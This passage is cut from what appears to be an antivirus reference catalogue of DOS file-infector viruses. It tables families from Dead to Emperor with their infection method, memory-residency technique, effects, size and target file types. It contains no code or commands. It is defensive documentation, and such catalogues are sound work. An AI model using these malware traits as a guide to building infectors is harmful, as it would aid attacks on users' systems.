ºDead.1362 ¦INT ¦MCB ¦ HEr¦1362 ¦ .C.E&CE* ¦ e ¦ L+p º
ºDead.1364 ¦INT ¦MCB ¦ H ¦1364 ¦ .C.E&CE* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDEI.1456 ¦INT ¦MCB ¦ V ¦1456 ¦ CE * ¦ e ¦ L º
ºDEI.1526 ¦INT ¦MCB ¦ V ¦1526 ¦ CE * ¦ e ¦ L º
ºDEI.1634 ¦INT ¦MCB ¦ V ¦1634 ¦ CE * ¦ e ¦ L º
ºDEI.1792 ¦INT ¦MCB ¦ V ¦1792 ¦ CE * ¦ e ¦ L º
ºDEI.1948 ¦INT ¦MCB ¦ HV ¦1948 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDemon.4313 ¦INT ¦MCB ¦ Er ¦4313 ¦ .C.E&CE* ¦ e ¦ L º
ºDemon.4767 ¦INT ¦MCB ¦ V ¦4767 ¦ .C.E&CE* ¦ e ¦ L º
ºDemon.5670 ¦INT ¦MCB ¦ V ¦5670 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDemonhyak.272 ¦FIND¦ - ¦ HV ¦272 ¦ .C * ¦ s ¦ 0, overwrite º
ºDemonhyak.284 ¦FIND¦ - ¦ HV ¦284 ¦ .C * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDennis.539 ¦INT ¦MCB ¦ - ¦539 ¦ E * ¦ e ¦ L º
ºDennis.656 ¦INT ¦MCB ¦ Ch ¦656 ¦ E * ¦ e ¦ L º
ºDennis.689 ¦INT ¦MCB ¦ Ch ¦689 ¦ E * ¦ e ¦ L º
ºDennis.1000 ¦INT ¦MCB ¦ - ¦1000 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDestructor.264 ¦FIND¦ - ¦ V ¦264 ¦ .C * ¦ e ¦ L º
ºDestructor.1150¦INT ¦MCB ¦ - ¦1150 ¦ CE ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDiamond.1024(2)¦INT ¦MCB ¦ VEr¦1024 ¦ CE * ¦ e ¦ L º
ºDiamond.1399 ¦INT ¦MCB ¦ V ¦1399 ¦ CE ¦ e ¦ C-L, E-L+p º
º.David ¦INT ¦MCB ¦ HV ¦1173 ¦ CE ¦ e ¦ L º
º.RockSteady ¦INT ¦MCB ¦ H ¦666 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDie.352 ¦INT ¦MCB ¦ - ¦352 ¦ C ¦ e ¦ L º
ºDie.385 ¦INT ¦MCB ¦ Er ¦385 ¦ CE * ¦ e ¦ L º
ºDie.487 ¦INT ¦MCB ¦ V ¦385 ¦ C ¦ e ¦ L º
ºDie.666 ¦INT ¦MCB ¦ V ¦666 ¦ CE * ¦ e ¦ L º
ºDie.800 ¦INT ¦MCB ¦ V ¦800 ¦ CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDigger.600 ¦INT ¦ADDR¦ V ¦600 ¦ C * ¦ e ¦ L º
ºDigger.1000 ¦INT ¦MCB ¦ V ¦1000 ¦ C * ¦ i ¦ L º
ºDigger.1475 (2)¦FIND¦ - ¦ V ¦1475 ¦ .C.E&CE* ¦ e ¦ L+p º
ºDigger.1512 ¦FIND¦ - ¦ V ¦1800 ¦ .C.E&CE* ¦ e ¦ L+p º
ºDigger.1800 ¦FIND¦ - ¦ V ¦1800 ¦ .C.E&CE* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDima.325 ¦INT ¦MCB ¦ - ¦325 ¦ C * ¦ e ¦ L º
ºDima.1024 ¦FIND¦ - ¦ V ¦1024 ¦ .C.E ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDinky.64 ¦INT ¦INTB¦ - ¦64 ¦ C ¦ s ¦ L º
ºDinky.65 ¦INT ¦INTB¦ - ¦65 ¦ C ¦ s ¦ L º
ºDinky.66 ¦INT ¦INTB¦ - ¦66 ¦ C ¦ s ¦ L º
ºDinky.80 ¦INT ¦INTB¦ - ¦80 ¦ .C ¦ s ¦ L º
ºDinky.86 ¦INT ¦INTB¦ - ¦86 ¦ .C ¦ s ¦ L º
ºDinky.122 ¦INT ¦DOSD¦ - ¦122 ¦ C ¦ e ¦ L º
ºDinky.126 ¦INT ¦DOSD¦ - ¦126 ¦ C ¦ e ¦ L º
ºDinky.128 ¦INT ¦DOSD¦ - ¦128 ¦ C ¦ e ¦ L º
ºDinky.132 ¦INT ¦DOSD¦ - ¦132 ¦ C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDir-II (10)¦INT ¦MCB ¦ - ¦1024 ¦ .C.E * ¦ s ¦ 0 º
ºDir-II.2048 ¦INT ¦MCB ¦ - ¦2048 ¦ .C.E ¦ s ¦ 0 º
º.Hippies ¦INT ¦MCB ¦ - ¦1024 ¦ .C.E * ¦ s ¦ 0 º
º.Dragon (2)¦INT ¦MCB ¦ - ¦1024 ¦ .C.E * ¦ s ¦ 0 º
º.KillDll ¦INT ¦MCB ¦ H ¦1024 ¦ .C.E * ¦ s ¦ 0 º
º.October (2)¦INT ¦MCB ¦ - ¦1024 ¦ .C.E * ¦ s ¦ 0 º
º.TheHndV ¦INT ¦MCB ¦ VS ¦2048 ¦ .C.E * ¦ s ¦ 0 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDM.310 ¦INT ¦INTB¦ - ¦310 ¦ .C * ¦ e ¦ L º
ºDM.330 ¦INT ¦INTB¦ - ¦330 ¦ .C * ¦ e ¦ L º
ºDM.400 (3)¦INT ¦INTB¦ H ¦400 ¦ C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDobkin.91 ¦FIND¦ - ¦ H ¦91 ¦ .C * ¦ s ¦ 0, overwrite º
ºDobkin.177 ¦FIND¦ - ¦ H ¦177 ¦ .C * ¦ s ¦ 0, overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDoodle.1049 ¦INT ¦MCB ¦ - ¦1049 ¦ CE ¦ e ¦ L+p º
ºDoodle.1760 ¦INT ¦MCB ¦ S ¦1760 ¦ CE ¦ e ¦ L+p º
ºDoodle.1805 ¦INT ¦MCB ¦ S ¦1805 ¦ CE ¦ e ¦ L+p º
ºDoodle.1909 ¦INT ¦MCB ¦ S ¦1909 ¦ CE ¦ e ¦ L+p º
ºDoodle.2568 ¦INT ¦MCB ¦ S ¦2568 ¦ CE ¦ e ¦ L+p º
ºDoodle.2680 ¦INT ¦MCB ¦ S ¦2680 ¦ CE ¦ e ¦ L+p º
ºDoodle.2756 ¦INT ¦MCB ¦ S ¦2756 ¦ CE ¦ e ¦ L+p º
ºDoodle.2772 ¦INT ¦MCB ¦ S ¦2772 ¦ CE ¦ e ¦ L+p º
ºDoodle.2885 ¦INT ¦MCB ¦ S ¦2885 ¦ CE ¦ e ¦ L+p º
ºDoodle.2901 ¦INT ¦MCB ¦ S ¦2901 ¦ CE ¦ e ¦ L+p º
ºDoodle.2932 ¦INT ¦MCB ¦ S ¦2932 ¦ CE ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDoom.666 ¦INT ¦MCB ¦ - ¦666 ¦ E * ¦ e ¦ L º
ºDoom.752 ¦FIND¦ - ¦ HV ¦752 ¦ .C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDOS-1.184 ¦FIND¦ - ¦ - ¦184 ¦ .C * ¦ e ¦ L º
ºDOS-1.185 ¦FIND¦ - ¦ - ¦185 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDos7.342 ¦FIND¦ - ¦ - ¦342 ¦ .C ¦ s ¦ L º
ºDos7.376 ¦FIND¦ - ¦ - ¦376 ¦ .C ¦ s ¦ L º
ºDos7.419 ¦FIND¦ - ¦ - ¦419 ¦ .C ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDotter.3961 ¦INT ¦MCB ¦ V ¦3961 ¦ E * ¦ e ¦ L+p º
ºDotter.4611 ¦INT ¦MCB ¦ V ¦4611 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDre.192 ¦FIND¦ - ¦ H ¦192 ¦ .E * ¦ s ¦ 0, overwrite º
ºDre.494 ¦FIND¦ - ¦ - ¦494 ¦ .C&C ¦ e ¦ L º
ºDre.756 ¦FIND¦ - ¦ H ¦756 ¦ .C * ¦CeEs ¦ C-L, E-overwrite º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDread.774 ¦FIND¦ - ¦ V ¦774 ¦ .C.E&CE* ¦ e ¦ L+p º
ºDread.2163 ¦INT ¦MCB ¦ - ¦2163 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDron.995 ¦INT ¦MCB ¦ V ¦995 ¦ E * ¦ e ¦ L+p º
ºDron.1024 ¦INT ¦MCB ¦ V ¦1024 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDrWhite.1027 ¦INT ¦MCB ¦ - ¦1027 ¦ .C&C+boot*¦ e ¦ L º
ºDrWhite.2403 ¦INT ¦MCB ¦ - ¦2403 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDSCE.Demo ¦INT ¦KEEP¦ - ¦2957 ¦ CE * ¦ e ¦ L+? º
º.Mdak ¦INT ¦KEEP¦ - ¦2941 ¦ CE * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDSME.Apex ¦INT ¦FIND¦ V ¦2685 ¦ .C&C * ¦ e ¦ L+? º
º.Connie.1761 ¦INT ¦MCB ¦ - ¦1761 ¦ .C&C * ¦ e ¦ L º
º.Connie.2708 ¦INT ¦MCB ¦ - ¦2708 ¦ .C&C * ¦ e ¦ L+? º
º.Teacher.3197 ¦INT ¦KEEP¦ - ¦3197 ¦ CE * ¦ e ¦ L+p+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDsu.1414 ¦INT ¦MCB ¦ Ch ¦1414 ¦ .C.E&CE* ¦ e ¦ L º
ºDSU.1422 ¦INT ¦MCB ¦ V ¦1422 ¦ CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDva.445 ¦FIND¦ - ¦ - ¦445 ¦ .C * ¦ e ¦ L º
ºDva.749 ¦FIND¦ - ¦ V ¦749 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºDalien.1052 ¦INFI¦MCB ¦ Er ¦1052 ¦ .C * ¦ e ¦ L+p º
ºDanny.862 ¦INT ¦MCB ¦ V ¦862 ¦ C * ¦ e ¦ L º
ºDarkAngel.3250 ¦INT ¦MCB ¦ H ¦3250 ¦ .C.E&CE* ¦ e ¦ L º
ºDarkLord.1085 ¦INT ¦MCB ¦ Er ¦1085 ¦ .C.E&CE* ¦ e ¦ L+p º
ºDarkness.1125 ¦FIND¦ - ¦ HV ¦1125 ¦ .C&C * ¦ e ¦ L º
ºDarkRevenge.1032INT ¦KEEP¦ Ch ¦1032 ¦ C * ¦ e ¦ L+p º
ºDarv.1024 ¦FIND¦ - ¦ V ¦1024 ¦ .E&E * ¦ e ¦ L º
ºDbec.990 ¦FIND¦ - ¦ H ¦990 ¦ .C.E&CE ¦ e ¦ L+p º
ºDebilas.2000 ¦INT ¦MCB ¦HVS ¦2000 ¦ .C.E&CE* ¦ e ¦ L º
ºDeicide.520 ¦INT ¦MCB ¦ Ch ¦520 ¦ C * ¦ e ¦ L º
ºDelta.1163 ¦INT ¦MCB ¦ V ¦1163 ¦ .C.E ¦ e ¦ L º
ºDementia.4207 ¦INT ¦MCB ¦ V ¦4207 ¦ CE ¦ e ¦ L+p º
ºDemiurg.3061 ¦INT ¦MCB ¦ HEr¦3061 ¦ CE+boot*¦ e ¦ L º
ºDemocracy.3806 ¦INT ¦MCB ¦ V ¦3806 ¦ .C.E&CE* ¦ e ¦ L º
ºDestage.1200 ¦INT ¦MCB ¦ - ¦1200 ¦ E+boot* ¦ e ¦ L º
ºDevice.2000 ¦INFI¦MCB ¦ Er ¦2000 ¦ .E.S&ES* ¦EeSs ¦ L º
ºDHeart.452 ¦FIND¦ - ¦ V ¦452 ¦ .E&E * ¦ e ¦ L+p º
ºDicker.400 ¦INT ¦KEEP¦ Er ¦400 ¦ C * ¦ s ¦ L º
ºDieLamer.1090 ¦INT ¦MCB ¦ H ¦1090 ¦ .E&E * ¦ e ¦ L+p º
ºDigital.3547 ¦INT ¦MCB ¦ HVS¦3547 ¦ CE * ¦ e ¦ L º
ºDir.691 ¦INT ¦KEEP¦ - ¦691 ¦ C * ¦ e ¦ L º
ºDiS.1024 ¦INT ¦MCB ¦ HV ¦1024 ¦ E * ¦ e ¦ L+p+531 º
ºDiskSpoiler.1308FIND¦ - ¦ Ch ¦1308 ¦ .C&C * ¦ e ¦ L º
ºDjifx.2372 ¦INT ¦MCB ¦ Ch ¦2372 ¦ CE * ¦ e ¦ L+? º
ºDma.1024 ¦INT ¦MCB ¦ChEr¦1024 ¦ E * ¦ e ¦ L º
ºDmr.1200 (2)¦INT ¦MCB ¦ V ¦1200 ¦ E * ¦ e ¦ L+p º
ºDnepr.377 ¦INT ¦INTB¦ VS ¦377 ¦ C * ¦ e ¦ L º
ºDonbass.444 ¦FIND¦ - ¦ - ¦444 ¦ .C&C * ¦ e ¦ L º
ºDoshunter.483 ¦INT ¦MCB ¦ VH ¦483 ¦ .C ¦ s ¦ L º
ºDostepu.1920 ¦FIND¦ - ¦ Ch ¦1920 ¦ .C&C ¦ e ¦ L+? º
ºDotEater.944(3)¦FIND¦ - ¦ VS ¦944 ¦ .C * ¦ e ¦ L º
ºDracula.1370 ¦INT ¦MCB ¦ HV ¦1370 ¦ .E * ¦ e ¦ L º
ºDragon.414 ¦INT ¦INTB¦ - ¦414 ¦ .C&C * ¦ e ¦ L º
ºDrDemon.4292 ¦INT ¦MCB ¦ Er ¦4292 ¦ CE+boot* ¦ e ¦ L º
ºDret.1710 ¦INT ¦MCB ¦ H ¦1710 ¦ .C.E&CE* ¦ e ¦ L º
ºDrJohn.2000 ¦INT ¦MCB ¦ V ¦2000 ¦ .C.E&CE* ¦ e ¦ L º
ºDrS.678 ¦INT ¦MCB ¦ - ¦678 ¦ E * ¦ e ¦ L+p º
ºDrWatson.1503 ¦INT ¦KEEP¦ H ¦1503 ¦AUTOEXEC.BAT s ¦ - º
ºDumb.4722 ¦INT ¦MCB ¦ V ¦4722 ¦ CE * ¦ e ¦ L+? º
ºDupa.725 ¦INT ¦MCB ¦ - ¦725 ¦ E ¦ e ¦ L º
ºDwbomk.607 ¦INT ¦MCB ¦ HV ¦607 ¦ C * ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part E
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºEA.Asmodeous.882INT ¦MCB ¦ H ¦882 ¦ CE * ¦ e ¦ L º
º.Asmodeous.1160¦INT ¦MCB ¦ H ¦1160 ¦ .C.E&CE* ¦ e ¦ L º
º.Asmodeous.1343¦INT ¦MCB ¦ H ¦1343 ¦ .C.E&CE* ¦ e ¦ L º
º.Asmodeous.1359¦INT ¦MCB ¦ H ¦1343 ¦ .C.E&CE* ¦ e ¦ L º
º.Asmodeous.1444¦INT ¦MCB ¦HVEr¦1444 ¦ CE * ¦ e ¦ C-L+(0-15), E-L+pº
º.Asmodeous.1437¦INT ¦MCB ¦ H ¦1437 ¦ .C.E&CE* ¦ e ¦ L º
º.Asmodeous.1450¦INT ¦MCB ¦ H ¦1450 ¦ .C.E&CE* ¦ e ¦ L º
º.Asmodeous.1829¦INT ¦MCB ¦ H ¦1829 ¦ .C.E&CE* ¦ e ¦ L º
º.Asmodeous.1833¦INT ¦MCB ¦ H ¦1833 ¦ .C.E&CE* ¦ e ¦ L º
º.Birthday ¦INT ¦INTB¦ V ¦488 ¦ E * ¦ e ¦ L+p º
º.Dictexe ¦INT ¦INTB¦ - ¦269 ¦ E * ¦ e ¦ L+p º
º.Hs ¦INT ¦MCB ¦ H ¦1221 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p º
º.Satana.665 ¦INT ¦INTB¦ H ¦665 ¦ CE * ¦ e ¦ C-L, E-L+p º
º.Satana.666 ¦INT ¦INTB¦ H ¦666 ¦ CE * ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEar.Leonardo ¦FIND¦ - ¦ HV ¦1207 ¦ .E&E * ¦ e ¦ L+(0-78) º
º.Shame ¦FIND¦ - ¦ HV ¦1455 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEbola.3000 (3)¦INT ¦MCB ¦ V ¦3000 ¦ .E&E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEddie.651 ¦INT ¦MCB ¦ - ¦651 ¦ CE * ¦ e ¦ L º
ºEddie.1530 ¦INT ¦MCB ¦ Ch ¦1530 ¦ .C.E&CE* ¦ e ¦ L º
ºEddie.1800 (4)¦INT ¦MCB ¦ H ¦1800 ¦ .C.E&CE* ¦ e ¦ L º
ºEddie.2000 (3)¦INT ¦MCB ¦ H ¦2000 ¦ .C.E&CE* ¦ e ¦ L º
ºEddie.2100 ¦INT ¦MCB ¦ H ¦2100 ¦ .C.E&CE* ¦ e ¦ L º
º.Alexander.1843¦INT ¦MCB ¦ V ¦1843 ¦ CEO * ¦ e ¦ C-L, E-L+p º
º.Alexander.1951¦INT ¦MCB ¦ V ¦1951 ¦ CEO * ¦ e ¦ C-L, E-L+p º
º.Alexander.2104¦INT ¦MCB ¦ V ¦2104 ¦ CEO * ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEddy.1309 ¦INT ¦MCB ¦ - ¦1309 ¦ CE ¦ e ¦ L º
ºEddy.1316 ¦INT ¦MCB ¦ - ¦1316 ¦ CE ¦ e ¦ L º
ºEddy.1333 ¦INT ¦MCB ¦ - ¦1333 ¦ CE ¦ e ¦ L º
ºEddy.1336 ¦INT ¦MCB ¦ - ¦1336 ¦ CE ¦ e ¦ L º
ºEddy.1422 ¦INT ¦MCB ¦ HV ¦1422 ¦ CE * ¦ e ¦ L º
ºEddy.1482 ¦INT ¦MCB ¦ - ¦1482 ¦ CE ¦ e ¦ L º
ºEddy.1551 ¦INT ¦MCB ¦ - ¦1551 ¦ CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºElcn.374 ¦FIND¦ - ¦ V ¦374 ¦ .C&C * ¦ s ¦ L º
ºElcn.424 ¦FIND¦ - ¦ V ¦424 ¦ .C&C * ¦ s ¦ L º
ºElcn.550 ¦FIND¦ - ¦ HV ¦550 ¦ .C&C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEliza.1194 ¦FIND¦ - ¦ HV ¦1194 ¦ .C ¦ s ¦ L º
ºEliza.1282 ¦FIND¦ - ¦ H ¦1282 ¦ .C ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEmm.4870 (2)¦INT ¦MCB ¦ VEr¦4870 ¦ .C.E&CE* ¦ e ¦ L º
ºEmm.4910 ¦INT ¦MCB ¦ V ¦4910 ¦ .C.E&CE* ¦ e ¦ L º
ºEmm.5952 ¦INT ¦MCB ¦ V ¦5952 ¦ .C.E&CE* ¦ e ¦ L º
º.LionKing ¦INT ¦MCB ¦HVEr¦3531 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEmmie.2604 ¦INT ¦MCB ¦ HCh¦2604 ¦ C * ¦ i+e ¦ L º
ºEmmie.2620 ¦INT ¦MCB ¦ HCh¦2620 ¦ C * ¦ i+e ¦ L º
ºEmmie.2702 ¦INT ¦MCB ¦ HCh¦2702 ¦ C * ¦ i+e ¦ L º
ºEmmie.2823 ¦INT ¦MCB ¦ HCh¦2823 ¦ C * ¦ i+e ¦ L º
ºEmmie.3097 ¦INT ¦MCB ¦ HCh¦3097 ¦ C * ¦ i+e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºEmperor ¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º.FitW.7918 (2)¦INT ¦MCB ¦ HV ¦7918 ¦ CE+boot*¦ e ¦ L+? º
